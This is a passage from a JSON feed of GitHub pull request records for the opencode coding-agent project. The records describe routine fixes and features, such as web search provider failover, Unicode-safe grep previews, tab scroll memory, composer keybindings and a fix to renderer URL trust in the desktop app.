`/cd` handling, or CLI HTTP error exits. - The Storybook fixture handles the final selection locally; it does not call the server move endpoint. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/new-session-location.test.ts` from `packages/tui` (3 passing) - `bun run test test/cli/tui/data.test.tsx` was attempted twice; 22 event-stream tests timed out with the fixture stuck in `reconnecting` - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) - OpenCode Drive walkthrough of the production recovery panel and project-scoped picker ## Demo https://github.com/user-attachments/assets/9ad51e2f-a2ec-4a5d-aff9-17b017d249c5 ![Project-scoped recovery directory picker](https://github.com/user-attachments/assets/7b552728-1c27-46bf-b837-797cc210e6cf) ## Flow ```mermaid flowchart TD A[Open durable session] --> B{Location sync succeeds?} B -- Yes --> C[Normal composer] B -- No --> D[Keep transcript visible] D --> E[Show recovery panel] E --> F[Open Move session] F --> G{Destination sync succeeds?} G -- Yes --> C G -- No --> E ```",
        "url": "https://github.com/anomalyco/opencode/pull/42353",
        "createdAt": "2026-08-13T16:18:08Z",
        "updatedAt": "2026-08-13T18:00:55Z",
        "timestamp": "2026-08-13T18:00:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42354",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(core): add automatic web search routing",
        "text": "## What Add automatic provider selection and failover for V2 web search. Users can configure `websearch.provider` as `\"auto\"`, or select **Allow web search** on first use. Each search snapshots the currently registered providers, shuffles them once, and tries each provider at most once until one succeeds. Fixed provider selections and explicit request provider IDs remain strict and never fall back. ## How - `packages/schema` defines `WebSearch.AUTO` and the typed `WebSearch.Selection` config value. - `packages/core/src/websearch.ts` resolves explicit, fixed, and automatic routes. Automatic routes use Effect's seedable `Random.shuffle` and `Effect.firstSuccessOf` over existing `WebSearch.Request` failures. - `packages/core/src/tool/plugin/websearch.ts` updates first-use consent to persist `\"auto\"` while preserving fixed-provider and disabled choices. - Existing response, tool metadata, and server error contracts remain unchanged and expose only the provider that succeeded. ## Scope - No provider ranking, load measurement, retry delays, backoff, or per-provider retries. - Empty result sets remain successful and do not trigger fallback. - Existing persisted fixed-provider choices are not migrated. - No public attempted-provider list or new exhaustion error. ## Testing - `bun run test test/websearch.test.ts test/tool-websearch.test.ts` in `packages/core` (24 tests) - `bun typecheck` in `packages/core` - `bun run test test/config.test.ts` in `packages/schema` - `bun typecheck` in `packages/schema` - `bun typecheck` in `packages/plugin` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (34 packages) ## Flow ```mermaid flowchart TD Q[Web search query] --> E{Explicit provider?} E -- Yes --> S[Attempt explicit provider once] E -- No --> D{Configured or stored selection} D -- Fixed provider --> F[Attempt fixed provider once] D -- auto --> H[Snapshot and shuffle registered providers] H --> A[Attempt next provider] A -- Success, including empty results --> R[Return winning provider and results] A -- WebSearch.Request and providers remain --> A A -- Final WebSearch.Request --> X[Return final existing error] ```",
        "url": "https://github.com/anomalyco/opencode/pull/42354",
        "createdAt": "2026-08-13T16:19:06Z",
        "updatedAt": "2026-08-13T16:25:25Z",
        "timestamp": "2026-08-13T16:25:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42355",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(config): tolerate missing file variables in config",
        "text": "### Issue for this PR Fixes/Closes #15033 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Makes missing `{file:...}` config variables resolve to an empty string instead of failing opencode start when file is not present. Existing file references are still read normally, and non-missing file read errors remain fatal (eg permissions problems). ### How did you verify your code works? - Ran: `bun test --timeout 30000 test/config/config.test.ts` — passed - Ran: `bun typecheck` — passed - Ran dev TUI: `bun dev /home/myuser/myproject` where project-local `opencode.json` has missing file from `{file:path}` in MCP section. Command succeeded, opencode loaded, MCPs were off (not all config entries properly set). Compared with `opencode /home/myuser/myproject` and it fails to start (treats missing files as fatal). ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42355",
        "createdAt": "2026-08-13T16:26:13Z",
        "updatedAt": "2026-08-13T17:00:25Z",
        "timestamp": "2026-08-13T17:00:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "stone-w4tch3r",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42356",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): preserve unicode in grep previews",
        "text": "## What Prevent oversized Ripgrep line previews from persisting half of a Unicode character. A malformed preview could display as `�` and poison subsequent provider requests. ## Before / After **Before** A grep match longer than 2,000 JavaScript string units could place an emoji across the preview boundary. `slice(0, 2_000)` retained only the emoji's first UTF-16 code unit, which JSON serialized as an unpaired `\\ud83d`. The TUI displayed a replacement character, and OpenAI rejected later requests with HTTP 400 because the request body was not valid Unicode JSON. **After** When the preview cutoff lands after the first half of a Unicode character, Ripgrep drops that incomplete code unit before appending the truncation marker. Persisted tool output remains valid Unicode and can be submitted to providers. ## How - `packages/core/src/ripgrep.ts`: remove a trailing unmatched high-surrogate code unit from truncated line previews. - `packages/core/test/ripgrep.test.ts`: cover an emoji crossing the exact 2,000-unit preview boundary. ## Scope This fixes the producer that created the malformed durable tool output. It does not add a provider-request sanitizer or rewrite existing session history. ## Testing - `bun run test test/ripgrep.test.ts` from `packages/core`: 3 passed - `bun typecheck` from `packages/core`: passed - Push hook workspace typecheck: 30 packages passed - End-to-end A/B replay against OpenAI: - original exported history containing one unpaired `\\ud83d`: HTTP 400 `Invalid body: failed to parse JSON value` - identical history with only that unpaired code unit removed: normal assistant response",
        "url": "https://github.com/anomalyco/opencode/pull/42356",
        "createdAt": "2026-08-13T16:29:30Z",
        "updatedAt": "2026-08-13T16:51:44Z",
        "timestamp": "2026-08-13T16:51:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42357",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): navigate into directories in the open project dialog",
        "text": "### Issue for this PR Closes #38338 Rebase of #38345 by @razzeee onto current `dev`, opened with their permission (https://github.com/anomalyco/opencode/pull/38345#issuecomment-5280628324). Original commit and authorship preserved. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The Open Project dialog immediately resolved and closed when clicking a suggestion or pressing Enter, making it impossible to navigate into a subdirectory and continue. There was also no explicit confirm action. - Tab and Enter now navigate into the highlighted directory (appends `/` and refetches) instead of confirming - Clicking an item also navigates in rather than immediately opening the project - Added Cancel and Select Folder buttons in the footer - Ctrl/Cmd+Enter or the button confirms the current path - Enter with no item highlighted confirms the current filter path directly **This also fixes opencode web, not just desktop.** Both go through the same `DialogSelectDirectory` (`directory-picker.tsx` falls through to the legacy picker for web), so before this change the only way to descend on web was the undiscoverable Tab shortcut — and on touch devices there was no way at all short of typing the full absolute path. The scope in the title is `app` rather than `desktop` for that reason. Rebase notes: the only conflict was the import hunk, resolved by keeping both the `Path` type import and the expanded `directory-picker-domain` import. `onSelect` had not changed upstream since the original branch point. ### How did you verify your code works? Tested locally on `opencode web` in a browser: clicked into nested directories, navigated with Enter and Tab, went back up, confirmed with both the Select Folder button and Ctrl+Enter. Verified backspace still works normally in the input, and checked the footer at a narrow (mobile) viewport. ### Screenshots / recordings https://github.com/user-attachments/assets/79b5a3a8-3457-4102-9b1b-dd0b65a9d0f4 https://github.com/user-attachments/assets/4c9a8308-fb97-4537-9616-f4f93aa8d42f ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42357",
        "createdAt": "2026-08-13T16:32:56Z",
        "updatedAt": "2026-08-13T17:17:29Z",
        "timestamp": "2026-08-13T17:17:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "BongHwi",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42358",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): graduate per-tab prompt drafts",
        "text": "## What Make unsent prompt drafts belong to the tab where they were written. Session tabs and the home tab now restore only their own drafts, with no experiment toggle required. The experiment framework remains available in DevTools for future flags. Its registry is currently empty, so the Experiments pane shows an explicit `No experiments available` state without filter or toggle controls. ## How - Key the prompt draft stash unconditionally by session ID, using `undefined` internally for the home tab. - Remove the former global draft slot and graduate `tab_drafts` out of the experiment registry. - Preserve the generic boolean experiment config, registry mapping, persistence, and keyboard controls for future entries. - Suppress filter and change controls while the experiment registry is empty. - Keep focused coverage for tab isolation, home drafts, one-time restoration, and replacement. ## Scope This changes the V2 TUI's in-memory prompt draft behavior only. It does not add persistence across process restarts. ## Testing - `bun run test test/prompt/draft-stash.test.ts test/config-v2.test.tsx` from `packages/tui` (17 passed) - `bun typecheck` from `packages/tui` - Push hook workspace typecheck (34 packages passed) - `bun run lint -- packages/tui/src/component/dialog-experiments.tsx packages/tui/src/component/prompt/draft-stash.ts packages/tui/src/component/prompt/index.tsx packages/tui/src/config/index.tsx packages/tui/test/prompt/draft-stash.test.ts` (0 errors; 14 pre-existing warnings in `prompt/index.tsx`)",
        "url": "https://github.com/anomalyco/opencode/pull/42358",
        "createdAt": "2026-08-13T16:34:58Z",
        "updatedAt": "2026-08-13T16:57:55Z",
        "timestamp": "2026-08-13T16:57:55Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42360",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(drive): serialize unfocused UI state",
        "text": "## What Keep OpenCode Drive responsive when the TUI has no focused renderable. Drive currently hangs on its first `ui.state` request for full-screen plugin routes such as Storybook. The state object includes `focused.renderable: undefined`, which cannot be encoded as JSON. Encoding defects the control-server response fiber, so the client waits until its 30-second timeout. ## Before / After **Before** 1. Drive launches a headless TUI with no focused renderable. 2. The client sends `ui.state` after the simulation handshake. 3. The server builds a state containing nested `undefined`. 4. `JsonRpc.success` rejects the non-JSON value and sends no response. 5. Drive exits with `ui.state timed out after 30000ms`. **After** 1. An absent focused renderable is omitted from the state object. 2. The state remains valid against the existing optional protocol field. 3. JSON-RPC encoding succeeds and Drive can continue controlling the TUI. ## How - `packages/simulation/src/frontend/actions.ts` conditionally includes `focused.renderable` only when one exists. - `packages/simulation/test/actions.test.ts` covers the unfocused state shape. ## Testing - `bun test test/actions.test.ts test/frontend-server.test.ts` from `packages/simulation` (10 passing) - `bun typecheck` from `packages/simulation` - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) - End-to-end: the previously failing Drive script completed and produced the recovery-panel recording attached to #42353.",
        "url": "https://github.com/anomalyco/opencode/pull/42360",
        "createdAt": "2026-08-13T16:47:13Z",
        "updatedAt": "2026-08-13T17:15:01Z",
        "timestamp": "2026-08-13T17:15:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42362",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): prototype tab scroll controls",
        "text": "## What Add an opt-in TUI experiment for preserving reading position across visible quick-slot tabs and returning to the latest transcript content. Run it with: ```sh OPENCODE_EXPERIMENTAL_TAB_SCROLL=1 bun dev ``` When a visible tab is scrolled away from the bottom, switching away remembers its offset. Returning restores that reading position and shows a clickable `↓ Bottom` affordance above the composer. Use `/jump-bottom-position` to compare centered and right-aligned placement. Centered is the default. ## Before / After **Before:** Switching away from a session unmounted its view. Returning always snapped the transcript to the bottom, even when the user had been reading earlier messages. There was no visible way to return to the latest content after scrolling upward. **After:** Only sessions in the nine visible quick slots retain an in-memory offset, and only while they are away from the bottom. Returning to one restores its position. Clicking `↓ Bottom`, scrolling back to the bottom, unpinning the tab, or leaving the visible slots clears the saved offset. ## How - `packages/core/src/flag/flag.ts` adds the `OPENCODE_EXPERIMENTAL_TAB_SCROLL` experiment flag. - `packages/tui/src/context/local.tsx` keeps transient offsets scoped to visible quick slots and clears them when a tab leaves that set. - `packages/tui/src/routes/session/index.tsx` tracks whether the viewport is away from the bottom, restores eligible offsets after sync, and renders the jump control above the composer. - `/jump-bottom-position` toggles the affordance between centered and right-aligned layouts for evaluation. ## Scope - Disabled by default. - Scroll positions last only for the current TUI process. - Sessions outside the nine visible quick slots do not retain positions. - This does not change transcript content or server-side session state. ## Testing - `bun typecheck` in `packages/core` - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 191 passed, 1 skipped - Push hook `bun turbo typecheck`: 29 packages passed ## States **1. At the latest content** No affordance appears and no offset is retained. ```text Latest transcript content ┃ Prompt ``` **2. Reading history** The current quick-slot tab retains its offset and offers a return path. ```text Earlier transcript content ↓ Bottom ┃ Prompt ``` **3. Comparing placement** Run `/jump-bottom-position` to move the same control to the right edge. ```text Earlier transcript content ↓ Bottom ┃ Prompt ``` ## Flow ```mermaid flowchart TD A[Visible quick-slot tab] --> B{At bottom?} B -->|Yes| C[Clear saved offset and hide control] B -->|No| D[Save offset when leaving and show Bottom] D --> E[Switch back to tab] E --> F[Restore saved offset] D -->|Click Bottom| C D -->|Tab leaves visible slots| C ```",
        "url": "https://github.com/anomalyco/opencode/pull/42362",
        "createdAt": "2026-08-13T16:50:40Z",
        "updatedAt": "2026-08-13T17:29:20Z",
        "timestamp": "2026-08-13T17:29:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42364",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): ignore packaged renderer override",
        "text": "## Summary - ignore `ELECTRON_RENDERER_URL` in packaged desktop applications - use one guarded parser for both renderer loading and trusted-origin checks - preserve the override for local Electron development - cover development, packaged, and invalid URL behavior ## Why The packaged app previously honored an environment-provided renderer URL and then treated that URL as trusted. A process launcher or inherited environment could therefore load remote content into the main window with the privileged preload bridge. Development overrides should never change packaged renderer code or its trust boundary. ## Testing - `bun typecheck` (packages/desktop) - 70 desktop tests passed - 3 focused renderer-URL policy tests passed - Prettier and `git diff --check` Requested by: @Hona (Luke Parker via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42364",
        "createdAt": "2026-08-13T17:03:46Z",
        "updatedAt": "2026-08-13T17:03:54Z",
        "timestamp": "2026-08-13T17:03:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42365",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(go): use responses endpoint for Grok 4.5",
        "text": "## Summary - document Grok 4.5 on OpenCode Go using the Responses API endpoint - update the corresponding AI SDK package to `@ai-sdk/openai` ## Checks - `git diff --check` Relates to #40206 Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42365",
        "createdAt": "2026-08-13T17:04:03Z",
        "updatedAt": "2026-08-13T17:13:11Z",
        "timestamp": "2026-08-13T17:13:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42366",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): restore composer shell kill shortcut",
        "text": "## What Restore `Ctrl+D` shell termination from the TUI composer Shell tab when a global binding also recognizes the key. ## Before / After **Before:** The Shell tab rendered `kill ctrl+d`, but the key could be consumed before `composer.shell.kill`, so no `DELETE /api/shell/:id` request was sent and the background process continued running. **After:** While the Shell tab is active, its configured `Ctrl+D` binding gets first refusal and dispatches the existing `composer.shell.kill` command. The server removes the shell and terminates its process group. ## How - `packages/tui/src/routes/session/composer/shell-tab.tsx` intercepts the configured `Ctrl+D` shell-kill shortcut while the Shell tab is active, then dispatches the existing command. - `packages/tui/test/cli/tui/composer-keymap.test.tsx` covers a focused textarea plus the global `app.exit` collision and verifies the shell DELETE request. ## Scope This does not change composer focus, the shell API, or process lifecycle. The existing `shell.remove` path already terminates the detached process group; the bug was that the TUI never invoked it. ## Testing - `bun run test test/cli/tui/composer-keymap.test.tsx` from `packages/tui`: 3 passed - `bun typecheck` from `packages/tui`: passed - Push hook repository typecheck: 34 packages passed - `bun run test test/tool-shell.test.ts` from `packages/core`: 20 passed - Live PTY verification with `termctrl` against the elected OpenCode service: opened the Shell tab, pressed `Ctrl+D`, observed the shell disappear, and confirmed the shell API no longer returned its ID ## Flow ```mermaid sequenceDiagram participant User participant ShellTab participant Server participant Process User->>ShellTab: Press Ctrl+D ShellTab->>ShellTab: Dispatch composer.shell.kill ShellTab->>Server: DELETE /api/shell/:id Server->>Process: Terminate process group Server-->>ShellTab: shell.deleted ```",
        "url": "https://github.com/anomalyco/opencode/pull/42366",
        "createdAt": "2026-08-13T17:05:37Z",
        "updatedAt": "2026-08-13T17:40:49Z",
        "timestamp": "2026-08-13T17:40:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42372",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): show tokens-per-second in context usage indicator",
        "text": "### Issue for this PR No issue filed; small UX addition to the existing context usage indicator. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The context usage indicator (progress circle shown in the session header and message timeline) already shows cost, context usage % and total tokens on hover. This PR adds a tokens-per-second metric: - \\getSessionContext\\ now also computes \\ ps\\ for the last assistant message: output tokens divided by turn duration (\\ ime.completed - time.created\\). It stays \\undefined\\ when the turn has no completion time or no output tokens, and the UI renders \\–\\ in that case. - The hover tooltip gains a \\TPS\\ row next to the existing cost / usage / tokens rows. - A small TPS number is rendered beside the circle. I chose message-level timing (the whole assistant turn) over text-part timing because the component only has message data; this keeps the metric consistent with the other per-message rows and needs no extra data fetching. ### How did you verify your code works? - Added 2 unit tests for \\getSessionContext\\ (6 pass total), covering the TPS math and the undefined fallbacks. - Built the desktop app locally (v1.18.5) and smoke-tested: server sidecar boots and the renderer loads with the change. ### Screenshots / recordings None — no screenshot tooling on my machine. Verified by unit tests and a local desktop build. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42372",
        "createdAt": "2026-08-13T17:26:18Z",
        "updatedAt": "2026-08-13T17:30:23Z",
        "timestamp": "2026-08-13T17:30:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "894864",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42373",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(go): use responses API for Grok 4.5",
        "text": "## Summary - update the Grok 4.5 Go endpoint to the Responses API - use the matching `@ai-sdk/openai` package - keep all localized Go docs in sync ## Testing - `git diff --check origin/dev...HEAD` - `bun turbo typecheck` (pre-push hook)",
        "url": "https://github.com/anomalyco/opencode/pull/42373",
        "createdAt": "2026-08-13T17:26:41Z",
        "updatedAt": "2026-08-13T17:28:58Z",
        "timestamp": "2026-08-13T17:28:58Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "MrMushrooooom",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42375",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): prototype tab scroll memory",
        "text": "## What Add an opt-in V2 TUI experiment that remembers the reading position of each open session tab and provides a direct return to the latest transcript content. Enable **Remember tab scroll** from the DevTools **Experiments** dialog. ## Before / After **Before:** Switching away from a session tab unmounted its transcript. Returning always snapped to the bottom, even when reading earlier output. Scrolling upward also had no visible return action. **After:** A tab away from the bottom retains its in-memory scroll offset. Returning restores that position and shows `↓ Bottom` along the right edge above the composer with one column of spacing. Tabs at the bottom retain no offset. ## How - `packages/tui/src/component/dialog-experiments.tsx` registers **Remember tab scroll** in V2's config-native Experiments dialog and removes the redundant list category heading. - `packages/tui/src/context/session-tabs.tsx` owns transient positions for open tabs, clearing them when tabs close or the experiment is disabled. - `packages/tui/src/routes/session/index.tsx` captures positions on unmount, restores them after transcript layout, and renders the jump control only while away from the bottom. - Restoring a position mounts the full transcript first; first visits and bottom-position tabs retain the existing tail-first fast path. ## Scope - V2 only, based on `v2`. - Disabled by default. - Positions last only for the current TUI process. - Only open tabs retain positions. - No server-side or durable session state changes. ## Testing - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 689 passed, 5 skipped - Push hook `bun turbo typecheck --concurrency=3`: 34 packages passed ## Demo OpenCode Drive capture showing the actual `↓ Latest` affordance while the transcript is scrolled away from the bottom: ![Latest transcript action](https://github.com/user-attachments/assets/0875aa48-605e-4649-8b35-d301eb690480) The experiment is enabled from the V2 TUI DevTools **Experiments** dialog. ## Flow ```mermaid flowchart TD A[Open session tab] --> B{At bottom?} B -->|Yes| C[Clear offset and hide control] B -->|No| D[Keep offset and show Bottom] D --> E[Switch tabs] E --> F[Restore offset after transcript layout] D -->|Click Bottom| C D -->|Close tab| C D -->|Disable experiment| C ```",
        "url": "https://github.com/anomalyco/opencode/pull/42375",
        "createdAt": "2026-08-13T17:28:58Z",
        "updatedAt": "2026-08-13T17:55:48Z",
        "timestamp": "2026-08-13T17:55:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42379",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: log plugin load failures to stderr",
        "text": "### Issue for this PR Closes #41817 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Plugin load errors are only published as a `Session.Event.Error` in `publishPluginError` (`packages/opencode/src/plugin/index.ts`). The desktop renderer does not consume that event, so a plugin that fails to load in the desktop app is invisible: the entry appears in the plugin list, nothing is logged, and no tools register. Example: plugins importing `bun:sqlite` on the Node plugin host (see #41817). Change: `publishPluginError` also writes the message to stderr, which the desktop sidecar pipes into the server log, so failures are diagnosable. The `bun:sqlite` shim itself is tracked separately in #41817. ### How did you verify your code works? Could not run the desktop build locally (no Node/pnpm toolchain in the environment). The change is a one-line addition to the existing error path, using the Node `process.stderr` API; the existing event publish is untouched. ### Screenshots / recordings N/A (no UI change). ### Checklist - [ ] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42379",
        "createdAt": "2026-08-13T17:50:31Z",
        "updatedAt": "2026-08-13T17:50:41Z",
        "timestamp": "2026-08-13T17:50:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "needs:compliance"
        ],
        "author": "YoannDev90",
        "state": "open",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42381",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): show failed shell exit code",
        "text": "## Summary - detect non-zero shell exit metadata - show a pinned red `× exited with code N` row - keep the failure visible outside collapsed command output, including output previews longer than ten lines ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - real V2 session fixture with 11 lines of output and exit code 1 Requested by: @kitlangton (Kit via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42381",
        "createdAt": "2026-08-13T17:51:45Z",
        "updatedAt": "2026-08-13T17:51:53Z",
        "timestamp": "2026-08-13T17:51:53Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "kitlangton"
        ],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42383",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): render granular instruction updates",
        "text": "## What Instruction changes now append only the affected file deltas instead of repeating every loaded `AGENTS.md` file in full. Modified files render as three-context unified patches. Added and removed files use explicit messages. ## Before / After **Before:** Editing one line in one instruction file appended a complete replacement containing every global and project instruction file. The session learned the correct new state, but paid the token cost of unrelated unchanged files. **After:** The same edit appends a small patch for that file. Unchanged files are omitted while additions and removals remain explicit. ## How - `packages/core/src/instruction-discovery.ts` compares the previous and current file arrays by path. - Modified files use the existing `diff` dependency to produce unified patches with three lines of context. - Added files include their complete contents; removed files name the source that no longer applies. - `packages/core/test/instruction-discovery.test.ts` covers granular rendering and the real watcher-driven update/delete flow. ## Scope This does not attempt to attribute file changes to the session that made them or suppress self-authored updates. Durable instruction state, chronological updates, and compaction behavior are unchanged. ## Testing - `bun run test` in `packages/core`: 1,709 passed, 16 skipped - `bun run test test/instruction-discovery.test.ts` in `packages/core`: 10 passed - `bun typecheck` in `packages/core` - Repository pre-push typecheck: 34 tasks passed - `bunx prettier --check packages/core/src/instruction-discovery.ts packages/core/test/instruction-discovery.test.ts` - `git diff --check` ## Flow ```mermaid flowchart LR A[Read instruction files] --> B[Compare with admitted values] B --> C{Change type} C -->|Modified| D[Append unified patch] C -->|Added| E[Append new instructions] C -->|Removed| F[Append removal notice] D --> G[Durable chronological update] E --> G F --> G ```",
        "url": "https://github.com/anomalyco/opencode/pull/42383",
        "createdAt": "2026-08-13T17:57:34Z",
        "updatedAt": "2026-08-13T18:01:09Z",
        "timestamp": "2026-08-13T18:01:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42384",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): prioritize composer keybinds",
        "text": "## What Replace the Shell tab's hard-coded `Ctrl+D` interceptor with OpenTUI keymap layer priority for the full composer. Closes #42377. ## Before / After **Before:** #42366 restored the default Shell kill shortcut with a raw event interceptor that recognized only literal `Ctrl+D`. Custom bindings and the adjacent composer navigation/Subagents layers still depended on equal-priority registration order against focused-editor bindings. **After:** Composer navigation and active tab actions use contextual priority. Their configured bindings win while the composer is active, including custom bindings, without matching physical keys manually. ## How - Give the composer navigation layer contextual `priority: 1`. - Give Shell and Subagents action layers the same priority. - Remove the Shell-specific raw event interceptor. - Extend the composer keymap test to exercise tab navigation and a custom Shell kill binding while a textarea remains focused. ## Investigation Focused rendered-component tests showed permission rejection, textual forms, autocomplete destructive actions, and ordinary non-default editor collisions already behave correctly. Lowering `app.exit` priority did not fix the real TUI. Applying priority to the active composer layers did. ## Testing - `bun run test test/cli/tui/composer-keymap.test.tsx` from `packages/tui`: 3 passed - `bun typecheck` from `packages/tui`: passed - Push hook repository typecheck: 34 packages passed - Live PTY with `termctrl` against the elected service: opened composer, switched Subagents → Shell, pressed `Ctrl+D`, observed the shell disappear, and confirmed its ID was absent from `/api/shell` ## Flow ```mermaid flowchart LR Key[Configured keypress] --> Mode{Composer active?} Mode -- no --> Editor[Normal global/editor binding] Mode -- yes --> Priority[Priority 1 composer layer] Priority --> Action[Navigation or active-tab action] ```",
        "url": "https://github.com/anomalyco/opencode/pull/42384",
        "createdAt": "2026-08-13T17:59:49Z",
        "updatedAt": "2026-08-13T17:59:57Z",
        "timestamp": "2026-08-13T17:59:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "open",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:952",
        "source": "github",
        "group": "coding-agent-infrastructure",
